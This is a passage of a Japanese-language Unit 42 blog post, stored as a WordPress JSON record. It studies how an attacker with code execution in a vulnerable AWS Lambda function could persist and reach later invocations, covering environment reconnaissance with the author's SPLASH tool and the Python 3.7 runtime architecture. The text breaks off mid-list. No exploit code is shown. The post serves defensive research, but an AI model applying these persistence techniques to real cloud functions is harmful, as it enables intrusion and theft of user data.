{"id":108891,"date":"2019-09-02T06:08:20","date_gmt":"2019-09-02T13:08:20","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=108891"},"modified":"2020-09-28T18:24:08","modified_gmt":"2020-09-29T01:24:08","slug":"gaining-persistency-vulnerable-lambdas","status":"publish","type":"post","link":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/gaining-persistency-vulnerable-lambdas\/","title":{"rendered":"\u8106\u5f31\u6027\u306e\u3042\u308bLambda\u3067\u306e\u6c38\u7d9a\u6027\u306e\u78ba\u4fdd"},"content":{"rendered":"<h2>\u30b5\u30fc\u30d0\u30ec\u30b9\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3<\/h2>\n<p>2014\u5e74\u306b\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u305fAWS Lambda\u306f\u3001\u73fe\u5728\u5e83\u304f\u63a1\u7528\u3055\u308c\u3066\u3044\u308b<strong>\u30b5\u30fc\u30d0\u30fc\u30ec\u30b9\u30b3\u30f3\u30d4\u30e5\u30fc\u30c6\u30a3\u30f3\u30b0<\/strong>\u3068\u3044\u3046\u65b0\u305f\u306a\u30af\u30e9\u30a6\u30c9\u5b9f\u884c\u30e2\u30c7\u30eb\u3092\u4e16\u306b\u9001\u308a\u51fa\u3057\u307e\u3057\u305f\u3002\u305d\u308c\u4ee5\u964d\u3001\u6570\u591a\u304f\u306e\u4f01\u696d\u304cAWS Lambda\u304a\u3088\u3073\u4e00\u822c\u7684\u306a\u30b5\u30fc\u30d0\u30fc\u30ec\u30b9\u30b3\u30f3\u30d4\u30e5\u30fc\u30c6\u30a3\u30f3\u30b0\u5411\u3051\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u3092\u63d0\u4f9b\u3057\u59cb\u3081\u307e\u3057\u305f\u3002\u3053\u3046\u3057\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u3067\u306f\u3001\u4e00\u822c\u306b\u4ee5\u4e0b\u304c\u63d0\u4f9b\u3055\u308c\u307e\u3059\u3002<\/p>\n<ul style=\"padding-left: 50px;\">\n<li>\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3 - \u30b3\u30fc\u30c9\u306b\u65e2\u77e5\u306e\u8106\u5f31\u6027\u304c\u542b\u307e\u308c\u3066\u3044\u306a\u3044\u3053\u3068\u3092\u78ba\u8a8d(\u300c\u30ef\u30f3\u30c7\u30a4\u300d)<\/li>\n<li>\u30e9\u30f3\u30bf\u30a4\u30e0\u4fdd\u8b77 - \u672c\u756a\u74b0\u5883\u3067\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u308b\u306e\u3092\u9632\u3050<\/li>\n<\/ul>\n<p><strong>\u3057\u304b\u3057\u3001Lambda\u95a2\u6570\u306b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c(RCE)\u8106\u5f31\u6027\u304c\u3042\u308b\u3053\u3068\u3092\u898b\u3064\u3051\u305f\u5834\u5408\u3001\u653b\u6483\u8005\u306f\u4f55\u304c\u3067\u304d\u308b\u3067\u3057\u3087\u3046\u304b\u3002<\/strong> \u8a00\u3044\u63db\u3048\u308c\u3070\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u30cf\u30f3\u30c9\u30e9\u307e\u305f\u306f\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u30e2\u30b8\u30e5\u30fc\u30eb\u306e1\u3064\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u304c\u3042\u3063\u305f\u5834\u5408\u3001\u653b\u6483\u8005\u306f\u3053\u3046\u3057\u305f\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u3066\u4f55\u304c\u3067\u304d\u308b\u3067\u3057\u3087\u3046\u304b\u3002<\/p>\n<p>Lambda\u3092\u4f7f\u7528\u3057\u3066\u30c7\u30fc\u30bf\u3092\u51e6\u7406\u304a\u3088\u3073\u691c\u8a3c\u3057\u3066\u304b\u3089\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u633f\u5165\u3059\u308b\u3068\u3044\u3046\u3001\u4e00\u822c\u7684\u306a\u30e6\u30fc\u30b9\u30b1\u30fc\u30b9\u3092\u691c\u8a0e\u3057\u3066\u307f\u307e\u3057\u3087\u3046\u3002<\/p>\n<figure id=\"attachment_100364\" aria-describedby=\"caption-attachment-100364\" style=\"width: 1024px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_1_example-1024x574.png\" rel=\"wpdevart_lightbox\"><img  class=\"wp-image-100364 size-full lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/10\/lambda_poc_1_example-1024x574.png\" alt=\"\u56f31 Lambda\u3092\u4f7f\u7528\u3057\u3066\u30c7\u30fc\u30bf\u3092\u51e6\u7406\u304a\u3088\u3073\u691c\u8a3c\u3057\u3066\u304b\u3089\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u633f\u5165\u3059\u308b\u4e00\u822c\u7684\u306a\u30e6\u30fc\u30b9\u30b1\u30fc\u30b9\u306e\u30d5\u30ed\u30fc\u56f3\" width=\"1024\" height=\"574\" srcset=\"https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_1_example-1024x574.png 1024w, https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_1_example-1024x574-300x168.png 300w, https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_1_example-1024x574-768x431.png 768w, https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_1_example-1024x574-900x504.png 900w, https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_1_example-1024x574-370x207.png 370w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/a><figcaption id=\"caption-attachment-100364\" class=\"wp-caption-text\">\u56f31 Lambda\u3092\u4f7f\u7528\u3057\u3066\u30c7\u30fc\u30bf\u3092\u51e6\u7406\u304a\u3088\u3073\u691c\u8a3c\u3057\u3066\u304b\u3089\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u633f\u5165\u3059\u308b\u4e00\u822c\u7684\u306a\u30e6\u30fc\u30b9\u30b1\u30fc\u30b9\u306e\u30d5\u30ed\u30fc\u56f3<\/figcaption><\/figure>\n<p>\u76f4\u89b3\u7684\u306a\u7b54\u3048\u304c\u3044\u304f\u3064\u304b\u982d\u306b\u6d6e\u304b\u3073\u307e\u3059\u3002<\/p>\n<ul style=\"padding-left: 50px;\">\n<li>\u653b\u6483\u8005\u306f\u8106\u5f31\u6027\u306e\u3042\u308bLambda\u3092<strong>\u5b9f\u884c\u30ea\u30bd\u30fc\u30b9<\/strong>\u3068\u3057\u3066\u60aa\u7528\u3057\u3001\u4eee\u60f3\u901a\u8ca8\u30de\u30a4\u30cb\u30f3\u30b0\u306a\u3069\u306b\u5229\u7528\u3057\u307e\u3059\u3002<\/li>\n<li>\u653b\u6483\u8005\u306f\u3001Lambda\u304c\u4f7f\u7528\u3067\u304d\u308b\u30ea\u30bd\u30fc\u30b9\u3078\u306e\u30a2\u30af\u30bb\u30b9\u6a29\u3092\u6301\u3061\u307e\u3059\u3002Lambda\u306f\u7279\u5b9a\u306eDB\u3078\u306e\u66f8\u304d\u8fbc\u307f\u6a29\u9650\u3092\u6301\u3064\u305f\u3081\u3001\u653b\u6483\u8005\u3082\u540c\u3058\u6a29\u9650\u3092\u6301\u3064\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002<\/li>\n<\/ul>\n<p>\u3053\u308c\u3089\u306f\u9053\u7406\u306b\u304b\u306a\u3063\u305f\u653b\u6483\u7d4c\u8def\u3067\u3059\u304c\u3001\u4e0a\u8a18\u306e\u4f8b\u3067\u306f\u3001\u653b\u6483\u8005\u306f\u30e6\u30fc\u30b6\u30fc\u306e\u500b\u4eba\u60c5\u5831\u306b\u6700\u3082\u8208\u5473\u3092\u6301\u3063\u3066\u3044\u308b\u3088\u3046\u306b\u898b\u3048\u307e\u3059\u3002\u30e6\u30fc\u30b6\u30fc\u306b\u3068\u3063\u3066\u5e78\u3044\u306a\u3053\u3068\u306b\u3001Lambda\u306f\u6a5f\u5bc6\u6027\u306e\u9ad8\u3044DB\u3078\u306e\u66f8\u304d\u8fbc\u307f\u6a29\u9650\u306e\u307f\u3067\u9069\u5207\u306b\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u4ed6\u306e\u547c\u3073\u51fa\u3057\u306f\u3069\u3046\u3067\u3057\u3087\u3046\u304b? \u547c\u3073\u51fa\u3057\u306b\u306fDB\u306b\u6307\u5b9a\u3055\u308c\u3066\u3044\u308b\u65b0\u60c5\u5831\u304c\u542b\u307e\u308c\u307e\u3059\u304c\u3001\u653b\u6483\u8005\u306f\u4f55\u3089\u304b\u306e\u65b9\u6cd5\u3067\u547c\u3073\u51fa\u3057\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u308b\u3067\u3057\u3087\u3046\u304b?<br \/>\n\u3053\u308c\u304c\u3001\u79c1\u304c\u5b9f\u65bd\u3057\u305f\u8abf\u67fb\u3067\u7b54\u3048\u3092\u5f97\u3088\u3046\u3068\u3057\u305f\u8cea\u554f\u3067\u3059\u3002\u7aef\u7684\u306b\u7b54\u3048\u308c\u3070<strong>\u300c\u306f\u3044\u300d<\/strong>\u3067\u3059\u3002\u653b\u6483\u8005\u306f\u8106\u5f31\u6027\u306e\u3042\u308bLambda\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u306b\u3068\u3069\u307e\u308a\u7d9a\u3051\u3001\u4ed6\u306e\u547c\u3073\u51fa\u3057\u306b\u5bfe\u3059\u308b\u30a2\u30af\u30bb\u30b9\u6a29\u3092\u53d6\u5f97\u3067\u304d\u307e\u3059\u3002\u3067\u306f\u3001\u305d\u306e\u65b9\u6cd5\u306b\u3064\u3044\u3066\u307f\u3066\u3044\u304d\u307e\u3057\u3087\u3046\u3002<\/p>\n<h3>Lambda\u306e\u57fa\u672c<\/h3>\n<p><strong>Lambda\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9<\/strong>\u306f\u3001\u9700\u8981\u306b\u5fdc\u3058\u3066\u898f\u6a21\u304c\u62e1\u5927\u3055\u308c\u307e\u3059\u30023\u3064\u306e\u8981\u6c42\u304c\u540c\u6642\u306b\u767a\u751f\u3057\u305f\u5834\u5408\u3001AWS\u306f\u305d\u308c\u306b\u5fdc\u3058\u3066Lambda\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u306e\u6570\u3092\u5897\u3084\u3057\u307e\u3059\u3002\u65b0\u3057\u3044Lambda\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u306e\u30b9\u30d4\u30f3\u30a2\u30c3\u30d7\u306b\u306f\u6642\u9593\u304c\u304b\u304b\u308b\u305f\u3081\u3001\u65b0\u3057\u3044Lambda\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u304c\u6700\u521d\u306e\u8981\u6c42\u3092\u51e6\u7406\u3059\u308b\u969b\u3001\u305d\u306e\u5b9f\u884c\u6642\u9593\u306f\u975e\u5e38\u306b\u9577\u304f\u306a\u308a\u307e\u3059\u3002\u3053\u308c\u306f\u3001<strong>\u30b3\u30fc\u30eb\u30c9\u30b9\u30bf\u30fc\u30c8<\/strong>\u3068\u547c\u3070\u308c\u307e\u3059\u3002\u30b3\u30fc\u30eb\u30c9\u30b9\u30bf\u30fc\u30c8\u304c\u983b\u7e41\u306b\u884c\u308f\u308c\u308b\u306e\u3092\u907f\u3051\u308b\u305f\u3081\u306b\u3001AWS\u306f\u5f8c\u7d9a\u306e\u8981\u6c42\u3092\u51e6\u7406\u3059\u308b\u9593\u3001Lambda\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u30a2\u30af\u30c6\u30a3\u30d6\u306a\u307e\u307e\u306b\u3057\u307e\u3059\u3002\u79c1\u306e\u7d4c\u9a13\u3067\u306f\u3001\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u306f\u901a\u5e38\u3001\u30a2\u30af\u30c6\u30a3\u30d6\u3067\u306a\u3044\u72b6\u614b\u304c10\uff5e15\u5206\u7d9a\u304f\u3068\u524a\u9664\u3055\u308c\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e\u5b9f\u884c\u30e2\u30c7\u30eb\u306e\u91cd\u8981\u306a\u30dd\u30a4\u30f3\u30c8\u306e1\u3064\u306f\u3001<strong>Lambda\u547c\u3073\u51fa\u3057\u306f\u4e92\u3044\u306b\u5b8c\u5168\u306b\u306f\u5207\u308a\u96e2\u3055\u308c\u306a\u3044<\/strong>\u3068\u3044\u3046\u70b9\u3067\u3059\u3002Lambda\u547c\u3073\u51fa\u3057\u306f\u3001\u540c\u3058\u5b9f\u884c\u74b0\u5883\u3067\u5b9f\u884c\u3067\u304d\u307e\u3059\u304c\u3001\u540c\u6642\u306b\u306f\u5b9f\u884c\u3067\u304d\u307e\u305b\u3093\u3002\u3053\u306e\u3053\u3068\u3092\u5ff5\u982d\u306b\u7f6e\u3044\u3066\u3001\u3053\u306e\u74b0\u5883\u3092\u8a73\u3057\u304f\u8abf\u67fb\u3057\u307e\u3057\u3087\u3046\u3002<\/p>\n<h3>Lambda\u74b0\u5883\u306e\u8abf\u67fb<\/h3>\n<p>Lambda\u306f\u3044\u304f\u3064\u304b\u306e\u30e9\u30f3\u30bf\u30a4\u30e0\u3092\u30b5\u30dd\u30fc\u30c8\u3057\u3066\u304a\u308a\u3001\u6700\u3082\u3088\u304f\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u306e\u306fPython 3.7\u3068Node.js 10\u3067\u3059\u3002\u305d\u306e\u305f\u3081\u3001\u3053\u3053\u3067\u306fPython\u30e9\u30f3\u30bf\u30a4\u30e0\u306b\u7126\u70b9\u3092\u5f53\u3066\u3066\u3044\u304d\u307e\u3059\u3002<br \/>\n\u79c1\u306fLambda\u304b\u3089\u81ea\u5206\u306e\u30ed\u30fc\u30ab\u30eb\u30de\u30b7\u30f3\u306b\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u3092\u8a2d\u5b9a\u3057\u3066\u3001\u74b0\u5883\u306e\u8abf\u67fb\u3092\u958b\u59cb\u3057\u3088\u3046\u3068\u8003\u3048\u307e\u3057\u305f\u3002\u3057\u304b\u3057\u3001\u3059\u3050\u306b\u3001\u3053\u308c\u306f\u7c21\u5358\u3067\u306f\u306a\u3044\u3053\u3068\u306b\u6c17\u3065\u304d\u307e\u3057\u305f\u3002\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u306b\u306f\u6301\u7d9a\u7684\u306a\u63a5\u7d9a\u304c\u5fc5\u8981\u3067\u3059\u304c\u3001Lambda\u3092\u6570\u79d2\u4ee5\u4e0a\u5b9f\u884c\u4e2d\u3057\u7d9a\u3051\u308b\u306b\u306f\u30b3\u30b9\u30c8\u304c\u304b\u304b\u308a\u307e\u3059\u3002\u3055\u3089\u306b\u3001Lambda\u306f\u6bd4\u8f03\u7684\u77ed\u6642\u9593\u3067\u30bf\u30a4\u30e0\u30a2\u30a6\u30c8\u306b\u306a\u308a\u307e\u3059(\u6700\u9577\u306f15\u5206)\u3002<\/p>\n<p>\u3088\u308a\u9069\u5207\u306a\u30a2\u30d7\u30ed\u30fc\u30c1\u306f\u3001\u30b7\u30a7\u30eb\u30b3\u30de\u30f3\u30c9\u3054\u3068\u306bLambda\u3092\u518d\u547c\u3073\u51fa\u3057\u3059\u308b\u3053\u3068\u3067\u3059\u3002\u3053\u306e\u65b9\u6cd5\u3067\u306f\u3001\u5c0e\u5165\u3057\u305fLambda\u304c\u3001\u53d7\u3051\u53d6\u3063\u305f\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3057\u3066\u51fa\u529b\u3092\u8fd4\u3057\u307e\u3059\u3002\u79c1\u306f\u3001\u3053\u308c\u3068\u540c\u3058\u52d5\u4f5c\u3092\u3059\u308b\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u30c4\u30fc\u30eb\u3092\u3044\u304f\u3064\u304b\u77e5\u3063\u3066\u3044\u307e\u3059\u304c\u3001\u3069\u308c\u3082\u3042\u307e\u308a\u4f7f\u3044\u3084\u3059\u304f\u306f\u3042\u308a\u307e\u305b\u3093\u3002\u305d\u306e\u307b\u3068\u3093\u3069\u304c\u30b7\u30a7\u30eb\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30a4\u30b9\u3092\u5b9f\u88c5\u3057\u3066\u304a\u3089\u305a\u3001\u79c1\u304c\u5fc5\u8981\u3068\u8003\u3048\u308b\u6a5f\u80fd\u3001\u3064\u307e\u308a\u4f5c\u696d\u30c7\u30a3\u30ec\u30af\u30c8\u30ea(CWD)\u30c8\u30e9\u30c3\u30ad\u30f3\u30b0\u3001Lambda\u3068\u30ed\u30fc\u30ab\u30eb\u30de\u30b7\u30f3\u9593\u306e\u30d5\u30a1\u30a4\u30eb\u8ee2\u9001\u3001\u305d\u3057\u3066\u7f8e\u3057\u3044\u8272\u3065\u304b\u3044(\u3053\u308c\u306f\u4f55\u3088\u308a\u3082\u5927\u5207\u3067\u3059)\u306a\u3069\u3092\u30b5\u30dd\u30fc\u30c8\u3057\u3066\u3044\u308b\u30c4\u30fc\u30eb\u306f1\u3064\u3082\u3042\u308a\u307e\u305b\u3093\u3002<\/p>\n<h5 style=\"font-size: 21px;\">Splash<\/h5>\n<p>\u305d\u3053\u3067\u79c1\u306f\u72ec\u81ea\u30c4\u30fc\u30eb\u3092\u4f5c\u308b\u3053\u3068\u306b\u3057\u307e\u3057\u305f\u3002\u3053\u3046\u3057\u3066\u751f\u307e\u308c\u305f\u306e\u304c<a href=\"https:\/\/github.com\/twistlock\/splash\" target=\"_blank\" rel=\"noopener noreferrer\">SPLASH<\/a>\u3067\u3059\u3002SPLASH\u306f<strong>Splash Pseudo Lambda Shell<\/strong>\u306e\u7565\u3067\u3001\u4f7f\u7528\u306b\u5fc5\u8981\u306a\u6e96\u5099\u306fsplash\u30a8\u30fc\u30b8\u30a7\u30f3\u30c8LEX(Lambda Executor)\u3092\u5b9f\u884c\u3059\u308bLambda\u3092\u5c0e\u5165\u3057\u3066Lambda\u306e\u30a2\u30c9\u30ec\u30b9\u3067splash\u3092\u8a2d\u5b9a\u3059\u308b\u3053\u3068\u3060\u3051\u3067\u3059\u3002<\/p>\n<p><img  class=\"size-full wp-image-100369 aligncenter lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_3_splash-768x185.png\" sizes=\"(max-width: 768px) 100vw, 768px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_3_splash-768x185.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_3_splash-768x185-300x72.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_3_splash-768x185-370x89.png 370w\" alt=\"\" width=\"768\" height=\"185\" \/><\/p>\n<p>\u79c1\u306fSplash\u3092\u4f7f\u7528\u3057\u3066\u74b0\u5883\u3092\u8abf\u3079\u59cb\u3081\u307e\u3057\u305f\u3002\u4ee5\u4e0b\u306b\u3001Lambda\u3067\u5b9f\u884c\u4e2d\u306e\u30d7\u30ed\u30bb\u30b9\u3092\u793a\u3057\u307e\u3059\u3002\u3059\u3079\u3066\u306e\u30d7\u30ed\u30bb\u30b9\u304c\u3001\u540c\u3058\u6a29\u9650\u306e\u306a\u3044\u30e6\u30fc\u30b6\u30fc\u3068\u3057\u3066\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3059\u3002<\/p>\n<p><img  class=\"size-full wp-image-10585 aligncenter lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_4_psaux.png\" sizes=\"(max-width: 1276px) 100vw, 1276px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_4_psaux.png 1276w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_4_psaux-300x29.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_4_psaux-768x74.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_4_psaux-1024x99.png 1024w\" alt=\"\" width=\"1276\" height=\"123\" \/><\/p>\n<p>Lambda\u306f\u3001\u3042\u308b\u7a2e\u306e\u30b3\u30f3\u30c6\u30ca\u306e\u3088\u3046\u306a\u3001\u9694\u96e2\u3055\u308c\u305f\u74b0\u5883\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306f\u3001Lambda\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u30d7\u30ed\u30bb\u30b9\u306e<a href=\"https:\/\/man7.org\/linux\/man-pages\/man7\/cgroups.7.html\" target=\"_blank\" rel=\"noopener noreferrer\">cgroup<\/a>\u30de\u30c3\u30d4\u30f3\u30b0\u3092\u8abf\u67fb\u3059\u308b\u3053\u3068\u3067\u78ba\u8a8d\u3067\u304d\u307e\u3059\u3002\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\u30b0\u30eb\u30fc\u30d7\u306f\u3001\u30b3\u30f3\u30c6\u30ca\u3067\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u4e3b\u8981\u306a\u9694\u96e2\u6280\u8853\u306e1\u3064\u3067\u3059\u3002<\/p>\n<p><img  class=\"size-full wp-image-10586 aligncenter lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_5_cgroups.png\" sizes=\"(max-width: 449px) 100vw, 449px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_5_cgroups.png 641w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_5_cgroups-300x119.png 300w\" alt=\"\" width=\"449\" height=\"179\" \/><\/p>\n<p>cgroup\u540d\u306b\u306f\u3001\u982d\u306b\u300csandbox\u300d\u304c\u4ed8\u3044\u3066\u3044\u307e\u3059\u3002\u300csandbox\u300d\u306f\u3001\u79c1\u304c\u3088\u304f\u77e5\u3063\u3066\u3044\u308b\u3069\u306e\u30b3\u30f3\u30c6\u30ca\u30a8\u30f3\u30b8\u30f3\u3068\u3082\u4e00\u81f4\u3057\u306a\u3044\u63a5\u982d\u8f9e\u3067\u3059(docker\u3001podman\u3001LXD\u3001\u305d\u3057\u3066\u5ff5\u306e\u305f\u3081\u306brkt\u3082\u78ba\u8a8d\u3057\u307e\u3057\u305f)\u3002\u30b3\u30f3\u30c6\u30ca\u30a8\u30f3\u30b8\u30f3\u306e\u4e2d\u306b\u306f\u3001\u30ab\u30b9\u30bf\u30e0\u306ecgroup\u3092\u8a2d\u5b9a\u3059\u308b\u30aa\u30d7\u30b7\u30e7\u30f3\u3092\u63d0\u4f9b\u3057\u3066\u3044\u308b\u3082\u306e\u3082\u3042\u308a\u307e\u3059\u304c\u3001\u3053\u308c\u306f\u305d\u3046\u3067\u306f\u306a\u3044\u3088\u3046\u3067\u3059\u3002\u72ec\u81ea\u4ed5\u69d8\u306e\u30b3\u30f3\u30c6\u30ca\u30a8\u30f3\u30b8\u30f3\u3092\u4f7f\u7528\u3057\u3001\u5185\u90e8\u3067<a href=\"https:\/\/github.com\/opencontainers\/runc\" target=\"_blank\" rel=\"noopener noreferrer\">runC<\/a>\u306e\u3088\u3046\u306a\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u306e\u30b3\u30f3\u30c6\u30ca\u30e9\u30f3\u30bf\u30a4\u30e0\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u3082\u306e\u3068\u601d\u308f\u308c\u307e\u3059\u3002<\/p>\n<p>\u6b21\u306b\u3001Lambda\u3067\u5b9f\u884c\u4e2d\u306e\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3001\u305d\u308c\u3089\u306e\u30ea\u30d0\u30fc\u30b9\u30a8\u30f3\u30b8\u30cb\u30a2\u30ea\u30f3\u30b0\u3092\u958b\u59cb\u3057\u307e\u3057\u305f\u3002<\/p>\n<p><a href=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_6_download-1024x93.png\" rel=\"wpdevart_lightbox\"><img  class=\"size-full wp-image-100375 aligncenter lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_6_download-1024x93.png\" sizes=\"(max-width: 1024px) 100vw, 1024px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_6_download-1024x93.png 1024w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_6_download-1024x93-300x27.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_6_download-1024x93-768x70.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_6_download-1024x93-900x82.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_6_download-1024x93-370x34.png 370w\" alt=\"\" width=\"1024\" height=\"93\" \/><\/a><\/p>\n<p>\u79c1\u304c\u78ba\u8a8d\u3057\u305f\u306e\u306f\u3001\u6b21\u306e\u30e1\u30a4\u30f3\u30d5\u30a1\u30a4\u30eb\u3067\u3059\u3002<\/p>\n<ul style=\"padding-left: 50px;\">\n<li>\/var\/rapid\/init \u2013 Golang\u30d0\u30a4\u30ca\u30ea\u3001Lambda\u306ePID 1<\/li>\n<li>\/var\/runtime\/bootstrap.py \u2013 Python3.7 Lambda\u30e9\u30f3\u30bf\u30a4\u30e0<\/li>\n<\/ul>\n<h3>Lambda Python3.7\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3<\/h3>\n<figure id=\"attachment_10583\" aria-describedby=\"caption-attachment-10583\" style=\"width: 668px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-10583 size-full lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/10\/lambda_poc_2_arch.png\" sizes=\"(max-width: 668px) 100vw, 668px\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/10\/lambda_poc_2_arch.png 668w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_2_arch-300x143.png 300w\" alt=\"\u56f3 \u7b46\u8005\u306e\u8003\u3048\u305f Lambda Python3.7\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u306e\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\" width=\"668\" height=\"318\" \/><figcaption id=\"caption-attachment-10583\" class=\"wp-caption-text\">\u7b46\u8005\u306e\u8003\u3048\u305f Lambda Python3.7\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u306e\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3<\/figcaption><\/figure>\n<p>\u6700\u7d42\u7684\u306b\u3001\u79c1\u306f\u6b21\u306e\u3088\u3046\u306aLambda Python3.7\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u306e\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\u3092\u8003\u3048\u307e\u3057\u305f\u3002<\/p>\n<ol style=\"padding-left: 50px;\">\n<li>init\u30d0\u30a4\u30ca\u30ea\u306e\u300c<strong>slicer\u300d<\/strong>\u3068\u547c\u3070\u308c\u308b\u30b3\u30f3\u30c6\u30ca\u5916\u90e8\u306e\u30d7\u30ed\u30bb\u30b9\u304c\u3001\u5171\u6709\u30e1\u30e2\u30ea\u3092\u4ecb\u3057\u3066<strong>init<\/strong>\u30d7\u30ed\u30bb\u30b9\u306b\u547c\u3073\u51fa\u3057\u30a4\u30d9\u30f3\u30c8\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002<\/li>\n<li>init\u30d7\u30ed\u30bb\u30b9\u306f(\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u305f)\u30dd\u30fc\u30c89001\u4e0a\u306bHTTP\u30b5\u30fc\u30d0\u30fc\u3092\u8a2d\u5b9a\u3057\u307e\u3059\u3002\u8907\u6570\u306e\u516c\u958b\u3055\u308c\u305f\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u3082\u8a2d\u5b9a\u3057\u307e\u3059\u3002\n<ol type=\"a\">\n<li><span class=\"lang:default decode:true crayon-inline \">\/2018-06-01\/runtime\/invocation\/next<\/span>\u00a0\u2013 